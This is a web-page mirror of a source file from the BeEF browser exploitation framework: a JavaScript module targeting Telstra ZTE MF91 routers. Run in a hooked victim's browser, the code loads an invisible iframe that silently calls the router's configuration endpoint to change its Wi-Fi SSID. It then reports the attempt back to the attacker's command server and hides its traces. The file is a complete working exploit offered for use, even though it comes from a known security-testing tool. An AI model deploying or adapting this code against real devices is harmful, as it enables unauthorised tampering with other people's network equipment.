Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/router/telstra_zte_mf91_change_ssid/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
var rhost = '<%= @rhost %>';
9
var ssid = '<%= @ssid %>';
10
var timeout = 15;
11
12
var telstra_zte_mf91_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();
13
telstra_zte_mf91_iframe_<%= @command_id %>.setAttribute('src', 'http://'+rhost+'/goform/wlan_set_basic_sap_profile?ssid='+ssid);
14
15
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
16
17
cleanup = function() {
18
document.body.removeChild(telstra_zte_mf91_iframe_<%= @command_id %>);
19
}
20
setTimeout("cleanup()", timeout*1000);
21
22
});
23
24
25